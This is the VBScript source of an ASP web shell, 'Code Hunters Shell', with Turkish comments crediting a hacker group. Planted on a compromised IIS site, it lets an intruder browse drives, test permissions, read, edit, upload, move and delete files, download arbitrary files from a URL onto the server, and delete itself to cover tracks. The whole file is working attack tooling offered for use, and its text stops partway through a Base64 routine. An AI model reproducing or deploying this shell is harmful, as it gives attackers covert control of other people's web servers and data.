Code Hunters Shell

<%@Language = VbScript CodePage = 1254%> <% ' #### ' ### Code Hunters TIM/Asi_besiktasli Tarafndan Cyber-Warrior.Org i?in yazlmtr. / 14.07.2011 ' ### Misyon Dahilinde Kullanmanz Dile?iyle... ' #### 'Karakter Kodlamas Session.CodePage=1254 %> Code Hunters Shell

Code Hunters TIM ASP Shell

<% 'Dosya Yolu Urlden ?ekiliyor / karakteri \ karakteri olarak de?itiriliyor Path=Replace(Request.QueryString("Path"),"/","\") islem=Request.QueryString("islem") 'Fso nesnesini oluturuyoruz. Set Fso=Server.Createobject("Scripting.FileSystemObject") 'E?er dosyayolu bo ise dosya yolu shellimizin bulundu?u klas?re ayarlanyor If Path="" Then Path = Server.Mappath("/") ElseIf FSO.FolderExists(Path)=false Then If islem="" Then Path = FSO.GetParentFolderName(path) End If End If 'Code Hunters TIM 2011 If islem="" And Not Right(Path,1)="\" Then Path = Path & "\" End If If islem<>"" Then Dizin = Mid(Path,1,Instrrev(Path,"\")) Else Dizin = Path End If ' Sayfann ?st?nde Sabit Duracak Olan Dizin Formu yazdrlyor Response.Write("

ROOT(Ana Klas?r)")&vbcrlf ' Fso ile Serverdaki S?r?c?lere Ulayoruz Set Suruculer = FSO.Drives If Not islem="Drivers" Then Response.Write " || S?r?c?ler: " ' Serverda ki Mevcut S?r?c?ler Yazdrlyor For Each Surucu in Suruculer Response.Write (""&Surucu.DriveLetter&":\ ")&vbcrlf Next End If On Error GoTo 0 On Error Resume Next Response.Write(" Klas?r izinleri: ") 'Aa?da ?nce ge?ici bir dosya oluturacaz oluturabiliyor ise yazma yetkisi var yazacak. Dosyay okuyabiliyosa okuma yetkisi var yazacak. Dosyay silebiliyorsa silme yetkisi var yazacak. 'Yazma Yetkisi Set DosyaOlustur = Fso.CreateTextFile(Dizin & "\CodeHunters.txt", True) Set DosyaOlustur = Nothing 'Hata verirse yazma yetkisi yok, Hata vermezse yazma yetkisi var If Err<>0 then Response.Write "Yazma Yetkisi Yok | " Else Response.Write "Yazma Yetkisi Var | " End If ' E?er Yazma Yetkisinde Hata verirse silme yetkisinde vermemesi i?in aa?daki kodlar yazyoruz On Error GoTo 0 On Error Resume Next 'Okuma Yetkisi 'Dosyay okumak i?in a?yoruz 'Hata verirse okuma yetkisi yok, Hata vermezse okuma yetkisi var Set DosyaOku= Fso.OpenTextFile(Dizin & "\CodeHunters.txt") Set DosyaOku=Nothing If Err<>0 then Response.Write "Okuma Yetkisi Yok | " Else Response.Write "Okuma Yetkisi Var | " End If On Error GoTo 0 On Error Resume Next 'Silme Yetkisi 'Oluturulan Ge?ici Dosya Siliniyor 'Hata verirse silme yetkisi yok hata vermezse silme yetkisi var Fso.DeleteFile Dizin&"\CodeHunters.txt",true If Err<>0 then Response.Write "Silme Yetkisi Yok " Else Response.Write "Silme Yetkisi Var " End If On Error GoTo 0 On Error Resume Next Response.Write("

")&vbcrlf ' islem De?ikenine G?re Farkl Sayfalar ?karlyor Select Case islem Case "git" 'Dizin formu bu sayfaya yollanyor. Bu sayfada formdan gelen bilgiye g?re kullancy y?nlendiriyor If Len(Request.Form("path"))>0 Then Response.Redirect("?Path="&Request.Form("path")) End If Case "" ' Urlden alnan Path Hazr hale getiriliyor Set Klasor = FSO.GetFolder(Path) ' Dizindeki Alt Klas?rler ?ekiliyor Set AltKlasorler = Klasor.SubFolders ' Dizindeki Dosyalar ?ekiliyor Set Dosyalar = Klasor.Files '?st Klas?r Varsa Link Ayarlanyor If Klasor.IsRootFolder = False Then Set UstKlasor = Klasor.ParentFolder Response.Write "
< ?st Klas?re Git" End If Response.Write(" "& Klasor.Path &" | Klas?r Olutur | Dosya Olutur" & vbCrLf) Response.Write("")%>

<% ' Dizindeki Alt Klas?rleri Yazdryoruz For Each AltKlasor In AltKlasorler With Response .Write("") & vbCrLf .Write("") & vbCrLf .Write("") End With Next ' Dizindeki Dosyalar Yazdryoruz For Each Dosya In Dosyalar With Response .Write "" & vbCrlf .Write "" & vbCrlf .Write "" & vbCrlf .Write "" & vbCrlf .Write "" & vbCrlf .Write "" End With Next Response.Write("

Isim	Dosya Boyutu	T?r	?lem
"& AltKlasor.Name &"		Dosya Klas?r?	Isim De?itir \| Ta \| Kopyala \| Sil
"&Dosya.name&"	"& Round(Dosya.Size / 1024) &" KB	"& Dosya.Type &"	D?zenle \| Isim De?itir \| Ta \| Kopyala \| Indir \| Sil

") ' Driver ilemleri sayfas Case "Drivers" Set Suruculer = FSO.Drives ' Driver ?Zellikleri Dim Drive_Type Drive_Type = Array("Bilinmeyen","?karlabilir Disk","Sabit Disk","A? S?r?c?s?","CD-ROM","RAM-Disk") Response.Write("")&vbcrlf 'B?t?n Driverler okumak i?in d?ng? kuruluyor For Each Surucu in Suruculer Response.Write ("") Next '--- ' Dosya i?eri?ini g?r?nt?leme sayfas Case "Read" ' E?er dosya yoksa hata ver ilemi durdur If FSO.FileExists(Path)= False Then Response.Write("Dosya Bulunamad") Response.End End If 'Dosyay hazr hale getiriliyor Set qa = Fso.GetFile(Path) Response.Write("
"&qa.path&" i?eri?i

")
'Dosya a?lyor
Set Ag = qa.OpenAsTextStream(1,0)

'Dosya Bosa Hata Vermesi Engelleniyor
If Ag.AtEndOfStream Then
Kod=""
Else
'Readall komutuyla dosyann i?eri?i okunuyor
kod = Server.HTMLEncode(ag.ReadAll)
End If

' Readall komutuyla dosya i?eri?ini ?ekince d?z yaz eklinde geldi?inden satrlara b?lmek i?in split komutu ile vbcrlf karakteri g?r?len yerlerden par?alama ilemi yapyoruz
icerik = Split(kod,vbcrlf)

'Split ile par?alanan b?l?mleri aralarna 
 ekleyerek satr haline getiriyoruz

For x=1 to Ubound(icerik)
Response.Write(icerik(x))&"
"&vbcrlf	
Next

Response.Write("

") '--- ' Text, Asp, Php Gibi Uzantl Yaz I?erikli Dosyalarn I?eri?ini D?zenleyen Sayfa) Case "Edit" If Request.QueryString("action")=1 Then 'Dosyann varl? kontrol ediliyor If FSO.FileExists(Path)= False Then Response.Write("Dosya Bulunamad") Response.End End If 'Dosya hazr hale getiriliyor Set qa = Fso.GetFile(Path) 'Dosya a?lyor Set Ag = qa.OpenAsTextStream(2,0) 'Dosya i?eri?ine formdan yollanan yaz yazlyor Ag.WriteLine(Request.Form("texticerik")) Response.Write(qa.Name&" Kayt Edildi") Ag.Close Else 'Dosyann varl? kontrole ediliyor If FSO.FileExists(Path)= False Then Response.Write("Dosya Bulunamad") Response.End End If 'Dosya hazr hale getiriliyor Set qa = Fso.GetFile(Path) Response.Write("
"&qa.Name&" i?eri?i
") 'Dosya a?lyor Set Ag = qa.OpenAsTextStream(1,0) 'Dosya Bosa Hata vermesi Engelleniyor If Ag.AtEndOfStream Then Kod="" Else 'Dosya i?eri?i okunuyor kod de?ikenine aktarlyor Kod = Server.HTMLEncode(ag.ReadAll) End If Ag.Close Response.Write("
") End If 'Dosya Ismi De?itirme Sayfas Case "FileRename" If Request.QueryString("action")=1 Then NewName=Request.Form("NewName") 'Dosya hazr hale getiriliyor Set FileRename = FSO.GetFile(Path) ' Dosyaya Yeni isim veriliyor FileRename.Name=Trim(NewName) Response.Write("
Dosya ismi "&Trim(NewName)&" Olarak De?itirildi") Else oldname=Mid(Path,Instrrev(path,"\")+1,Len(path)) Response.Write("

S?r?c?ler:

")&vbcrlf Response.Write("")&vbcrlf Response.Write("")&vbcrlf toplamalan = (Surucu.TotalSize / 1048576) bosalan = (Surucu.AvailableSpace / 1048576) Response.Write("") Response.Write("")&vbcrlf Response.Write("")&vbcrlf End If Response.Write("

"&Surucu.DriveLetter&":\

"&Drive_Type(Surucu.DriveType))&vbcrlf 'E?er s?r?c? hazrsa ilemleri yap If Surucu.isready Then Response.Write(" ("&Surucu.VolumeName&")

Dosya Sistemi: "&Surucu.FileSystem&"

%"&(100-int(bosalan/toplamalan*100))&"

Toplam Kapasite: "&Round(toplamalan,1) & " MB

Bo Alan: "&Round(bosalan,1) & " MB

Mevcut Isim:	"&oldname&"
Yeni isim:

") End If 'Klas?r Ismi De?itirme Sayfas Case "FolderRename" If Request.QueryString("action")=1 Then NewName=Request.Form("NewName") 'Klas?r hazr hale getiriliyor Set FolderRename = FSO.GetFolder(Path) 'Klas?re yeni isim veriliyor FolderRename.Name=Trim(NewName) Response.Write("
Dosya ismi "&Trim(NewName)&" Olarak De?itirildi") Else oldname=Mid(Path,Instrrev(Left(path,Len(Path)-1),"\")+1,Len(path)) Response.Write("
") End If 'Klas?r Tama Sayfas Case "FolderMove" 'Klas?r?n varl? kontrol ediliyor If FSO.FolderExists(Path)=False Then Response.Write("
Klas?r Bulunamad") Response.End End If If Request.QueryString("action")=1 Then Set KlasorTasi = FSO.GetFolder(Path) Hedef=Request.Form("hedef") 'Klas?r Tanyor KlasorTasi.Move Hedef Response.Write "Klas?r "& Hedef & " Dizinine Tand" Else Response.Write Path&" Klas?r?n? Ta

" End If 'Klas?r Kopyalama Sayfas Case "FolderCopy" 'Dosyann varl? kkontrol ediliyor If FSO.FolderExists(Path)=False Then Response.Write("
Klas?r Bulunamad") Response.End End If If Request.QueryString("action")=1 Then 'Dosya hazr hale getiriliyor Set KlasorKopyala = FSO.GetFolder(Path) Hedef=Request.Form("hedef") 'Dosya kopyalanyor KlasorKopyala.Copy Hedef Response.Write "Klas?r "& Hedef & " Dizinine Kopyaland" Else Response.Write "" End If ' 'Dosya Kopyalama Sayfas Case "FileCopy" If FSO.FileExists(Path)=False Then Response.Write("
Dosya Bulunamad") Response.End End If Set DosyaTasi = FSO.GetFile(Path) If Request.QueryString("action")=1 Then Set DosyaKopyala = FSO.GetFile(Path) Hedef=Request.Form("hedef") DosyaKopyala.Copy Hedef Response.Write "Dosya "& Hedef & " Dizinine Kopyaland" Else Response.Write "" End If 'Dosya Tama Sayfas Case "FileMove" 'Dosyann varl? kontrol ediliyor If FSO.FileExists(Path)=False Then Response.Write("
Dosya Bulunamad") Response.End End If 'Dosya kullanm i?in hazr hale getiriliyor Set DosyaTasi = FSO.GetFile(Path) If Request.QueryString("action")=1 Then Hedef=Request.Form("hedef") 'Dosya tanyor DosyaTasi.Move Hedef Response.Write "Dosya "& Hedef & " Dizinine Tand" Else Response.Write Path&" Dosyasn Ta

" End If 'Dosya Silme Sayfas Case "FileDelete" 'Dosyann varl? kontrol ediliyor If FSO.FileExists(Path)=False Then Response.Write("
Dosya Bulunamad") Response.End End If 'Dosya kullanma hazr hale getiriliyor Set DosyaSil = FSO.GetFile(Path) If Request.QueryString("action")=1 Then 'Dosya siliniyor DosyaSil.Delete Response.Write "Dosya Silindi.

Geri D?n" Else Response.Write(""&Path&"
Dosyasn Ger?ekten Silmek Istiyor musunuz? Sil ") End If 'Klas?r Silme Sayfas Case "FolderDelete" 'Klas?r?n varl? kontrol ediliyor If FSO.FolderExists(Path)=False Then Response.Write("
Klas?r Bulunamad") Response.End End If 'Klas?r hazr hale getiriliyor Set KlasorSil = FSO.GetFolder(Path) If Request.QueryString("action")=1 Then 'Klas?r siliniyor KlasorSil.Delete Response.Write "Klas?r Silindi.

Geri D?n" Else Response.Write(""&Path&"
Klas?r?n? ve I?indeki Dosyalar Ger?ekten Silmek Istiyor musunuz? Sil ") End If ' Klas?r Oluturma Sayfas Case "CreateFolder" If Request.QueryString("action")=1 Then 'Dosya oluturuluyor Fso.CreateFolder Path&"\"&Trim(Request.Form("foldername")) Response.Write(Path&"\"&Trim(Request.Form("foldername"))&" Klas?r? oluturuldu") Else Response.Write("") End If ' Dosya Oluturma Sayfas Case "CreateFile" If Request.QueryString("action")=1 Then DosyaAdi = Request.Form("filename") 'Klas?r? Belirtiyoruz Set Klasor = FSO.GetFolder(Path) 'Dosyay Oluturuyoruz Set DosyaOlustur = Klasor.CreateTextFile(DosyaAdi) 'Dosya i?eri?ini Yazdyoruz DosyaOlustur.Write(Request.Form("icerik")) Response.Write(Path&"\"&DosyaAdi&" Dosyas Oluturuldu") DosyaOlustur.Close Set DosyaOlustur = Nothing Else Response.Write("") End If 'upload ?lemleri Case "Upload" Response.Buffer = True Response.Expires = 0 Dim oFO, oProps, oFile, i, item, oMyName Set oFO = New FileUpload Set oProps = oFO.GetUploadSettings with oProps .UploadDirectory = Path ' dosyann y?klenece?i yer .AllowOverWrite = true End with Set oProps = Nothing oFO.ProcessUpload If oFO.TotalFormCount > 0 Then If oFO.FileCount > 0 Then for i = 1 to oFO.FileCount Set oFile = oFO.File(i) If oFile.ErrorMessage <> "" Then Response.Write "> HATA: " & _ oFile.ErrorMessage & "
" Else oFile.SaveAsFile If oFile.UploadSuccessful Then Response.Write "> Basariyla Y?klendi
" Response.Write(" - Dosyanin su an bulundu?u URL:"& oFile.URLPath & "
") Response.Write(" - Dosya tipi: " & oFile.ContentType & "
") Response.Write(" - Dosya ismi: " & oFile.FileName & "
") Response.Write(" - Dosya boyutu: " & _ round(formatnumber(oFile.ByteCount, 0)/1024,2) & " KByte
") Else Response.Write "> Dosyay y?klerken hata olutu: " & _ oFile.ErrorMessage & "
" End If End If Set oFile = Nothing next Else Response.Write "> Daha ?nceden bu dosya ile ayni boyutta dosya y?klenmis. Bu durumda ayni dosyayi y?kl?yor olabilirsiniz. Eger farkli bir dosya olduguna eminseniz; Dosya boyutunu b?y?ltmek i?in k???k bir text dosyasini doldurarak zip'li dosyaya ekleyiniz." End If Response.Write "

Tekrar Y?kle" Else oFO.ShowUploadForm End If Set oFO = Nothing 'Dosya Arama Case "Search" Server.ScriptTimeOut=99999 If Request.QueryString("action")="1" Then Search=Request.Form("Search") Response.Write "" Sub DosyaAra(KlasorYolu) Set DosyaAraKlasor = Fso.GetFolder(KlasorYolu) Set SearchSubFolders = DosyaAraKlasor.SubFolders Set SearchFiles = DosyaAraKlasor.Files For Each Dosyax In SearchFiles If Instr(Dosyax.Name,Search)>0 Then Response.Write "" End If Next For Each AltKla In SearchSubFolders If Instr(lcase(AltKla.Name),lcase(Search))>0 Then Response.Write "" End If DosyaAra AltKla.Path Next End Sub DosyaAra Path Else Response.Write "Aranacak Dizin: "&Path&"

Dosya Adn Veya Uzantsn Yazn Dosyann indirilece?i dizin: "&Path&"

Dosya url: ") Else Set XmlHttp = Server.CreateObject("MSXML2.ServerXMLHTTP") XmlHttp.Open "GET", Url, False XmlHttp.Send IndirilenDosya=XmlHttp.ResponseBody Set BinaryStream = Server.CreateObject("ADODB.Stream") BinaryStream.Type = 1 BinaryStream.Open BinaryStream.Write IndirilenDosya BinaryStream.SaveToFile Path&"\"&Right(Url,(len(Url)-instrrev(Url,"/"))), 2 Set XmlHttp = Nothing Set BinaryStream = Nothing Response.Write " Dosya "& Path&"\"&Right(Url,(len(Url)-instrrev(Url,"/"))) &" klas?r?ne indirildi." End If Case "ShellDelete" FileName=Request.ServerVariables("SCRIPT_NAME") Fso.DeleteFile Server.Mappath("\")&Replace(FileName,"/","\") Response.Write("Shell Silindi...") End Select If Err.number<>0 Then Response.Write("

"&Err.description&"") End If %>

Code Hunters Shelli Serverdan Sil

Code Hunters TIM © 2011 <% 'Uplaod Snf Balang? Class FileUpload Private UploadRequest, oProps, iFrmCt Private iKnownFileCount, iKnownFormCount Private oOutFiles 'Class balatlnca ?alacak sub Private Sub Class_Initialize iFrmCt = 0 Set oProps = New FO_Properties Set UploadRequest = Server.CreateObject("Scripting.Dictionary") iKnownFileCount = 0 iKnownFormCount = 0 Set oOutFiles = Server.CreateObject("Scripting.Dictionary") End Sub 'Class bitiinde ?altralacak sub Private Sub Class_Terminate Set oOutFiles = Nothing Set UploadRequest = Nothing Set oProps = Nothing End Sub Public Function GetUploadSettings() Set GetUploadSettings = oProps End Function Public Property Get FormCount FormCount = iKnownFormCount End Property Public Property Get FileCount FileCount = iKnownFileCount End Property Public Property Get TotalFormCount TotalFormCount = iFrmCt End Property 'form ifreleme ayarlar Private Function GetFormEncType() Dim sContType, hCutOff 'I?erik ayar yaplyor sContType = Request.ServerVariables("CONTENT_TYPE") hCutOff = instr(sContType, ";") If hCutOff > 0 Then sContType = UCase(Trim(Left(sContType, hCutOff - 1))) Else sContType = UCase(Trim(sContType)) End If GetFormEncType = sContType End Function Public Default Sub ProcessUpload Dim RequestBin, oProcess, iTotBytes, key, arr, iKnownProps, oFile Dim fofilecheck, sEncType, sReqMeth 'Dosya Boyutu alnyor iTotBytes = Request.TotalBytes If iTotBytes = 0 Then iFrmCt = 0 exit sub End If 'Request.BinaryRead ile yollanan dosyann binary kodlar okunuyor RequestBin = Request.BinaryRead(iTotBytes) sReqMeth = Request.ServerVariables("REQUEST_METHOD") Select Case UCase(sReqMeth) Case "POST" sEncType = GetFormEncType Select Case sEncType Case "MULTIPART/FORM-DATA" Set oProcess = New FO_Processor oProcess.BuildUploadRequest RequestBin, UploadRequest Set oProcess = Nothing Case "APPLICATION/X-WWW-FORM-URLENCODED" Set oProcess = New FO_Processor oProcess.BuildUploadRequest_ASCII oProcess.getString(RequestBin), UploadRequest Set oProcess = Nothing End Select End Select arr = uploadrequest.keys If Not isarray(arr) Then iFrmCt = 0 Exit Sub End If iFrmCt = ubound(arr) For Each key In arr If isobject(uploadrequest.item(key)) Then iKnownProps = ubound(uploadrequest.item(key).keys) + 1 If iKnownProps = 4 Then iKnownFileCount = iKnownFileCount + 1 Set fofilecheck = new FO_FileChecker 'Dosya ismi, input de?eri gibi bilgiler formdan ?ekiliyor fofilecheck.SetCurrentProperties oProps fofilecheck.FileInput_NamePath = uploadrequest.item(key).item("FileName") fofilecheck.FileInput_ContentType = uploadrequest.item(key).item("ContentType") fofilecheck.FileInput_BinaryText = uploadrequest.item(key).item("Value") fofilecheck.FileInput_FormInputName = uploadrequest.item(key).item("InputName") Set oFile = fofilecheck.ValidateVerifyReturnFile() Set fofilecheck = Nothing oOutFiles.add iKnownFileCount, oFile Set oFile = Nothing uploadrequest.remove key ElseIf iKnownProps = 2 Then iKnownFormCount = iKnownFormCount + 1 Else End If End If next End Sub Public Function File(ByVal blobName) Dim blobs, blob, subdict, tmpName blobs = oOutFiles.Keys For Each blob In blobs Set subdict = oOutFiles.Item(blob) tmpName = subdict.frmInputName If UCase(Trim(tmpName)) = UCase(Trim(blobName)) Then blobName = blob Exit For End If Next If isobject(oOutFiles.Item(blobName)) Then Set File = oOutFiles.Item(blobName) Else Set File = Nothing End If End Function Public Function Form(ByVal inputName) If isobject(UploadRequest.Item(inputName)) Then Form = UploadRequest.Item(inputName).Item("Value") Else Form = "" End If End Function Public Function FormLen(ByVal inputName) If isobject(UploadRequest.Item(inputName)) Then FormLen = Len(UploadRequest.Item(inputName).Item("Value")) Else FormLen = 0 End If End Function Public Function FormEx(ByVal inputName, ByVal vDefaultValue) dim vTmp If isobject(UploadRequest.Item(inputName)) Then vTmp = UploadRequest.Item(inputName).Item("Value") If len(trim(CStr(vTmp))) = 0 Then FormEx = vDefaultValue Exit Function End If FormEx = vTmp Exit Function End If FormEx = vDefaultValue End Function Public Function Inputs() If isobject(UploadRequest) Then Inputs = UploadRequest.keys Else Inputs = "" End If End Function Public Sub ShowUploadForm() Dim tmp, item With Response .Write("Dosyann Y?klenece?i Yol: "&Path&"" & vbCrLf) .Write("L?tfen bir dosya se?in:

" & vbCrLf) .Write("" & vbCrLf) .Write("" & vbCrLf) .Write("" & vbCrLf) End With End Sub End Class Class FO_FileChecker Private oProps, sFileName, hFileBinLen, sFileBin, sFileContentType, sFileFormInputName 'Class balang?nda ?altrakacak kod Private Sub Class_Initialize() sFileName = "" hFileBinLen = 0 sFileBin = "" sFileContentType = "" End Sub Public Sub SetCurrentProperties(byref oPropertybag) Set oProps = oPropertybag End Sub Public Property Let FileInput_FormInputName(ByVal fname) sFileFormInputName = fname End Property Public Property Let FileInput_NamePath(ByVal fname) Dim realfilename realfilename = Right(fname, Len(fname) - InstrRev(fname,"\")) sFileName = trim(realfilename) End Property Public Property Let FileInput_ContentType(ByVal conttype) sFileContentType = conttype End Property Public Property Let FileInput_BinaryText(ByVal binstring) Dim binlen binlen = lenb(binstring) hFileBinLen = binlen sFileBin = binstring End Property Public Function ValidateVerifyReturnFile() If IllegalCharsFound Then Set ValidateVerifyReturnFile = FillFOFileObj(false, "", "", "dosya adnda ge?ersiz karakter bulunamaz", "", "", "", sFileFormInputName) Exit Function End If If FileNameBadOrExists Then Set ValidateVerifyReturnFile = FillFOFileObj(false, "", "", "bir dosya se?mediniz ya da se?ti?iniz dosya yolu yanl; bir di?er olaslk se?ti?iniz dosya zaten y?kl?", "", "", "", sFileFormInputName) Exit Function End If Set ValidateVerifyReturnFile = FillFOFileObj(false, "", "", "", sFileContentType, sFileName, sFileBin, sFileFormInputName) End Function Private Function FillFOFileObj(byval success, byval abspath, byval virpath, byval stderr, byval contenttype, byval fname, byval binarytext, byval forminputname) Dim oFile Set oFile = New FO_File oFile.SetCurrentProperties oProps oFile.bSuccess = success oFile.sAbsPath = abspath oFile.sVirPath = virpath oFile.sStdErr = stderr oFile.sCType = contenttype oFile.sFileName = fname oFile.binValue = binarytext oFile.frmInputName = forminputname Set FillFOFileObj = oFile End Function Public Function IllegalCharsFound() Dim re ' Regexp ile karakterleri i?eri?i kontrol ediliyor istemeyen karakter g?r?l?rse hata veriyor Set re = new regexp re.pattern = "\\\/\:\*\?\""\<\>\|" re.global = true re.ignorecase = true If re.test(sFileName) Then IllegalCharsFound = true Else IllegalCharsFound = false End If Set re = Nothing End Function 'Dosya ismi kontrol ediliyor Public Function FileNameBadOrExists() Dim absuploaddirectory, oFSO If len(trim(sFileName)) = 0 Then FileNameBadOrExists = true Exit Function End If If oProps.AllowOverWrite Then FileNameBadOrExists = false Exit Function End If absuploaddirectory = oProps.uploaddirectory & "\" & trim(sFileName) Set oFSO = server.createobject("Scripting.FileSystemObject") If oFSO.FileExists(absuploaddirectory) Then FileNameBadOrExists = true Else FileNameBadOrExists = false End If Set oFSO = Nothing End Function End Class Class FO_Processor Private Function getByteString(byval StringStr) dim char, i For i = 1 to Len(StringStr) char = Mid(StringStr, i, 1) getByteString = getByteString & chrB(AscB(char)) Next End Function Public Function getString(byval StringBin) dim intCount getString ="" For intCount = 1 to LenB(StringBin) getString = getString & chr(AscB(MidB(StringBin, intCount, 1))) Next End Function Public Sub BuildUploadRequest_ASCII(ByVal sPostStr, ByRef UploadRequest) dim i, j, blast, sName, vValue dim tmphash blast = false i = -1 do while i <> 0 If i = -1 Then i = 1 Else i = i + 1 End If j = instr(i, sPostStr, "=") + 1 sName = mid(sPostStr, i, j-i-1) i = instr(j, sPostStr, "&") If i = 0 Then vValue = mid(sPostStr, j) Else vValue = mid(sPostStr, j, i - j) End If Dim uploadcontrol Set uploadcontrol = createobject("Scripting.Dictionary") uploadcontrol.add "Value", vValue If not uploadrequest.exists(sName) Then uploadrequest.add sName, uploadcontrol Else Set tmphash = uploadrequest(sName) tmphash("Value") = tmphash("Value") & ", " & vValue Set uploadrequest(sName) = tmphash End If loop End Sub Public Sub BuildUploadRequest(byref RequestBin, byref UploadRequest) dim PosBeg, PosEnd, boundary, boundaryPos, Pos, Name, PosFile dim PosBound, FileName, ContentType, Value, sEncType, sReqMeth dim tmphash, isfile If lenb(RequestBin) = 0 Then exit sub End If PosBeg = 1 PosEnd = InstrB(PosBeg,RequestBin,getByteString(chr(13))) If posend = 0 Then BuildUploadRequest_ASCII getString(requestbin), UploadRequest Exit Sub End If boundary = MidB(RequestBin,PosBeg,PosEnd-PosBeg) boundaryPos = InstrB(1,RequestBin,boundary) Do until (boundaryPos=InstrB(RequestBin,boundary & getByteString("--"))) Dim UploadControl Set UploadControl = Server.CreateObject("Scripting.Dictionary") Pos = InstrB(BoundaryPos,RequestBin,getByteString("Content-Disposition")) Pos = InstrB(Pos,RequestBin,getByteString("name=")) PosBeg = Pos+6 PosEnd = InstrB(PosBeg,RequestBin,getByteString(chr(34))) Name = getString(MidB(RequestBin,PosBeg,PosEnd-PosBeg)) PosFile = InstrB(BoundaryPos,RequestBin,getByteString("filename=")) PosBound = InstrB(PosEnd,RequestBin,boundary) isfile = false If PosFile<>0 AND (PosFile "" Then exit sub End If WriteUploadFile oProps.uploaddirectory & "\" & sFileName, binValue End Sub Public Function SaveAsBinaryString() If LenB(binValue) = 0 Then bBtCt = 0 bSuccess = false Exit Function End If If oProps.UploadDisabled Then bBtCt = 0 bSuccess = false sStdErr = "Y?kleme Sayfa Y?netimi Tarafndan Engellendi" Exit Function End If SaveAsBinaryString = binValue hBtCt = lenb(binValue) bSuccess = true End Function Public Function SaveAsString() Dim outstr, i If LenB(binValue) = 0 Then bBtCt = 0 bSuccess = false Exit Function End If If oProps.UploadDisabled Then bBtCt = 0 bSuccess = false sStdErr = "Y?kleme Sayfa Y?netimi Tarafndan Engellendi" Exit Function End If outstr = "" For i = 1 to LenB( binValue ) outstr = outstr & chr( AscB( MidB( binValue, i, 1) ) ) Next SaveAsString = outstr hBtCt = lenb(binValue) bSuccess = true End Function Public Function SaveAsBase64EncodedStr() Dim outstr, oEnc If LenB(binValue) = 0 Then bBtCt = 0 bSuccess = false Exit Function End If If oProps.UploadDisabled Then bBtCt = 0 bSuccess = false sStdErr = "Y?kleme Sayfa Y?netimi Tarafndan Engellendi" Exit Function End If Set oEnc = New Base64Encoder outstr = oEnc.EncodeStr(binValue) Set oEnc = Nothing SaveAsBase64EncodedStr = outstr hBtCt = lenb(binValue) bSuccess = true End Function Private Sub WriteUploadFile(byVal NAME, byVal CONTENTS) dim ScriptObject, i, NewFile on error resume next Set ScriptObject = Server.CreateObject("Scripting.FileSystemObject") Set NewFile = ScriptObject.CreateTextFile( NAME ) For i = 1 to LenB( CONTENTS ) NewFile.Write chr( AscB( MidB( CONTENTS, i, 1) ) ) Next NewFile.Close Set NewFile = Nothing Set ScriptObject = Nothing If err.number <> 0 Then sStdErr = Err.Description bSuccess = false Else sAbsPath = NAME sVirPath = UnMappath(NAME) hBtCt = lenb(CONTENTS) sURiPath = "http://" & Request.ServerVariables("HTTP_HOST") & sVirPath bSuccess = true End If on error goto 0 End Sub Private Function UnMappath(byVal pathname) dim tmp, strRoot strRoot = Server.Mappath("/") tmp = replace( lcase( pathname ), lcase( strRoot ), "" ) tmp = replace( tmp, "\", "/" ) UnMappath = tmp End Function Public Property Get ContentType() ContentType = sCType End Property Public Property Let FileName(byval newfilename) Dim oFileChk Set oFileChk = New FO_FileChecker oFileChk.SetCurrentProperties oProps oFileChk.FileInput_NamePath = newfilename If oFileChk.IllegalCharsFound Then sStdErr = "Dosya i?erisinde ge?ersiz karakterler bulundu" bSuccess = false Set oFileChk = Nothing Exit Property End If If oFileChk.FileNameBadOrExists Then sStdErr = "Dosya ismi ge?ersiz ya da bu dosyadan zaten mevcut ve ?st?ne yazma engellenmi" bSuccess = false Set oFileChk = Nothing Exit Property End If Set oFileChk = Nothing sStdErr = "" sFileName = newfilename End Property Public Function GetFileNameFromFilePath(ByVal filewithpath) dim fileend fileend = instrrev(filewithpath, "\") GetFileNameFromFilePath = right(filewithpath, len(filewithpath) - fileend) End Function Public Property Get FileName() FileName = sFileName End Property Public Property Get UploadSuccessful() UploadSuccessful = bSuccess End Property Public Property Get AbsolutePath() AbsolutePath = sAbsPath End Property Public Property Get URLPath() URLPath = sURiPath End Property Public Property Get VirtualPath() VirtualPath = sVirPath End Property Public Property Get ErrorMessage() ErrorMessage = sStdErr End Property Public Property Get ByteCount() ByteCount = hBtCt End Property End Class Class FO_Properties Private sErrHead Private sErrMsg Private arrExt Private strUploadDir Private boolAllowOverwrite Private lngUploadSize Private bMin Private bByPass Private Sub Class_Initialize() sErrHead = "Yanl Kurulum Hatas" sErrMsg = "" strUploadDir = Server.Mappath("/") boolAllowOverwrite = false bByPass = false End Sub Public Sub ResetAll() Class_Initialize End Sub Public Property LET UploadDirectory(byVal strInput) Dim oFSO, bDoesntExist bDoesntExist = false If instr(strInput, "/") <> 0 Then strInput = "" Err.Raise 21342, sErrHead, _ "Veri yolu tam olarak girilmeli." exit property End If Set oFSO = CreateObject("Scripting.FileSystemObject") If not oFSO.FolderExists(strInput) Then bDoesntExist = true Set oFSO = Nothing If bDoesntExist Then Err.Raise 21343, sErrHead, "HATA - """ & _ strInput & """ Bu dosya serverda bulunmamaktadr." Exit Property End If strUploadDir = strInput End Property Public Property LET AllowOverWrite(byVal boolInput) on error resume next boolInput = cbool(boolInput) on error goto 0 boolAllowOverwrite = boolInput End Property Public Property GET UploadDirectory() UploadDirectory = strUploadDir End Property Public Property GET AllowOverWrite() AllowOverWrite = boolAllowOverwrite End Property End Class 'Base64 kod ifreleyici class Class Base64Encoder Private Base64Chars Private Sub Class_Initialize() Base64Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" & _ "abcdefghijklmnopqrstuvwxyz" & _ "0123456789" & _ "+/" End Sub Public Function EncodeStr(byVal strIn) Dim c1, c2, c3, w1, w2, w3, w4, n, strOut For n = 1 To Len(strIn) Step 3 c1 = Asc(Mid(strIn, n, 1)) c2 = Asc(Mid(strIn, n + 1, 1) + Chr(0)) c3 = Asc(Mid(strIn, n + 2, 1) + Chr(0)) w1 = Int(c1 / 4) : w2 = (c1 And 3) * 16 + Int(c2 / 16) If Len(strIn) >= n + 1 Then w3 = (c2 And 15) * 4 + Int(c3 / 64) Else w3 = -1 End If If Len(strIn) >= n + 2 Then w4 = c3 And 63 Else w4 = -1 End If strOut = strOut + mimeencode(w1) + mimeencode(w2) + _ mimeencode(w3) + mimeencode(w4) Next EncodeStr = strOut End Function Private Function mimedecode(byVal strIn) If Len(strIn) = 0 Then mimedecode = -1 : Exit Function Else mimedecode = InStr(Base64Chars, strIn) - 1 End If End Function Public Function DecodeStr(byVal strIn) Dim w1, w2, w3, w4, n, strOut For n = 1 To Len(strIn) Step 4 w1 = mimedecode(Mid(strIn, n, 1)) w2 = 